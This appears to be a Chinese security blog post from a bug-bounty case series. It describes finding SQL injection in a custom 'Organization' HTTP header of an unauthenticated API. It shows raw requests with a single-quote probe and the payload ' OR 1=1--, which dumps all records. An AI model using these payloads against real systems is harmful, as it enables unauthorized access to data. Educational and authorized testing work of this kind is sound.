【SRC案例分享-16】不一样的SQL注入之请求头注入
原创
low洞百出
low洞百出
low洞百出
2026年6月30日 10:07
湖南
在小说阅读器读本章
去阅读
免责声明：本公众号分享的日常渗透测试、网络安全及 SRC 漏洞挖掘相关文章，内容仅供学习交流与技术研究参考。严禁将文中技术、方法用于任何非法入侵、未授权测试、数据窃取等违法违规行为。若因擅自使用文章内容开展非法操作或传播文章，所引发的一切法律责任与经济损失，均由使用者自行承担，与本公众号及作者无关。如有内容侵权，请及时联系处理。
前言
提到请求头注入，很多人的第一反应是经典的 X-Forwarded-For 注入。而本文要分享的，正是一次与 XXF 注入思路类似、却又略有不同的实战案例，希望能给各位师傅带来一些启发。
案例分享
在一次渗透测试过程中，我发现了一个值得关注的接口。该接口无需鉴权即可直接访问，但返回结果却是 HTTP 500，错误提示为：“用户组织不能为空”。
HTTP/1.1 500 Internal Server ErrorContent-Type: application/json
{ \"code\": 500, \"message\": \"用户组织不能为空\", \"data\": null}
根据报错信息，我尝试在请求体中添加 organization 参数，并赋予一个测试值。然而，服务端依然无情地返回“组织不能为空”。
POST /api/user/list HTTP/1.1Host: xxx.target.comContent-Type: application/jsonUser-Agent: Mozilla/5.0
{\"organization\": \"test123\"}
HTTP/1.1 500 Internal Server ErrorContent-Type: application/json
{ \"code\": 500, \"message\": \"用户组织不能为空\", \"data\": null}
此时我开始疑惑：参数名明明正确，传值也正常，为什么会一直提示为空？难道是系统做了严格的校验，或是我传入的值不被识别？
后面测试了半天，想了一下，也行需要添加的参数可能压根就不是要求在请求体中，难道是请求头？
试了试，添加请求头参数并且传值
POST /api/user/list HTTP/1.1Host: xxx.target.comContent-Type: application/jsonOrganization: test123User-Agent: Mozilla/5.0
{}
HTTP/1.1 200 OKContent-Type: application/json
{ \"code\": 200, \"message\": \"success\", \"data\": []}
果然，没报错了返回结果从500变成了200
但是问题又来了，虽然是返回200,因为我的Organization值是随便传的，肯定是没数据的
不过这也从侧面说明了一个问题，该接口可能存在未授权问题，无需身份校验即可调用，可能只需要传入正确的Organization参数值即可获取数据
然而经常测试的师傅们都知道，一般这种Organization参数的值就是一大串例如121212121xxxxxx123121类似的无法遍历，无法猜解的
开始一直想着到哪里能获取到Organization参数值，看能不能拿到点数据，实际上没什么效果，真没法直接白嫖到这一大串
也是很折磨，这个时候一个想着该接口既然是通过传入的Organization参数值来获取数据，那是不是说明是通过数据库查询传入的Organization参数值来获取数据？
这个时候就不得不测试一下SQL注入了，在后面加一个简单的单引号试试
POST /api/user/list HTTP/1.1Host: xxx.target.comContent-Type: application/jsonOrganization: test123'User-Agent: Mozilla/5.0
{}
HTTP/1.1 500 Internal Server ErrorContent-Type: text/html
<b>SQL Syntax Error</b>: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''test123''' at line 1
果不其然，一大串sql语法报错
每次测试sql注入，看到给个单引号就触发报错，就给人一种给个平A就交大的感觉哈
接下来就是直接报错注入，拿下数据库名，证明漏洞存在即可
既然有注入，那么直接尝试一下输入恒真表达式看看能不能返回数据？
POST /api/user/list HTTP/1.1Host: xxx.target.comContent-Type: application/jsonOrganization: test123' OR 1=1-- User-Agent: Mozilla/5.0
{}
直接一个' or 1=1-- 返回了接口全部信息
类似于登录框SQL注入的万能密码，其实也是相当于一种权限绕过思路了，实际上SQL注入的本质就是将用户输入的数据当做sql语句执行。更多请求头相关测试思路，师傅们可观看上一篇文章。
总结
请求头其实也有很多能操作的地方，需要师傅们耐心加细心，师傅们也可以分享一下其他的思路。
感谢关注，出货不迷路！
往期推荐
【SRC案例分享-15】越权提示403无权限？试试这种绕过思路
【SRC案例分享-14】来自\"官方\"的短信，是如何被炮制出来的？
【SRC案例分享-13】记一次把账号\"玩坏\"了的业务逻辑漏洞
【CNVD证书案例-12】未授权与任意文件读取漏洞拿下CNVD证书
【工具相关分享-11】告别\"古法挖洞\"-Codex接入DeepSeek教程
【SRC案例分享-08】你设置的密码，也许只“防”住了你自己——浅谈弱口令漏洞
【SRC案例分享-01】页面404? 接口401？说不定还能操作！
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论